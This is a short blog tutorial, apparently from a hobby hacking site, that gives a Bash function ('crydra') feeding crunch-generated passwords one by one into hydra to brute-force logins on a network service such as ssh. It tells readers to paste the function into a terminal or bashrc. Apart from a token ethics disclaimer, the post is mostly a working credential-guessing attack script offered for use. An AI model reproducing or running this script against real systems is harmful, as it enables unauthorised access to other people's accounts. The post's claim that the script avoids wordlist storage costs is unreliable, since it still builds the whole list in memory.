Saturday, October 19, 2019

How to modify Hydra to perform bruteforce without a file (Bash)

Hello, this is IRISnoir from Hackingarise. The Termux Hacker. I am here with another tutorial. This time, I will help you with Hydra.

If you don’t know how to use Hydra or what Hydra even is, then it is recommended that you read this article.

Have you ever tried activating Crunch or download a wordlist but then you see the size of it. So you go and check the storage and you go:
– HA HA Ha ha, what is the size again?

So I got a good solution to that. I have crafted it with Bash so that you can automate it. The only thing required is patience and sometimes modification.

You only need: crunch and hydra.

Here is the piece of code:

crydra () {
read -p 'Crunch: starting length: ' start
read -p 'Crunch: ending length: ' end
read -p 'Hydra: server specification (example: ssh://127.0.0.1:8022): ' server
read -p 'Hydra: login specification: ' login
wl=$( crunch "$start" "$end" 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' )
for password in ${wl[@]}
do
hydra -l "$login" -p "$password" -e nsr -v -V -O -o crack.txt "$server"
done
}

Just copy and paste this casually into your terminal.
Or, if you wanna have it ready every time you load up your terminal, append it to the bash.bashrc file.

Then, you just need to run the command:
crydra

I hope you enjoy this tutorial. If you do, please share around. Also, make sure what you are doing is completely ethical and legal as Hackingarise is never responsible for any trouble you get into. Thank you, stay safe, stay ethical.

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.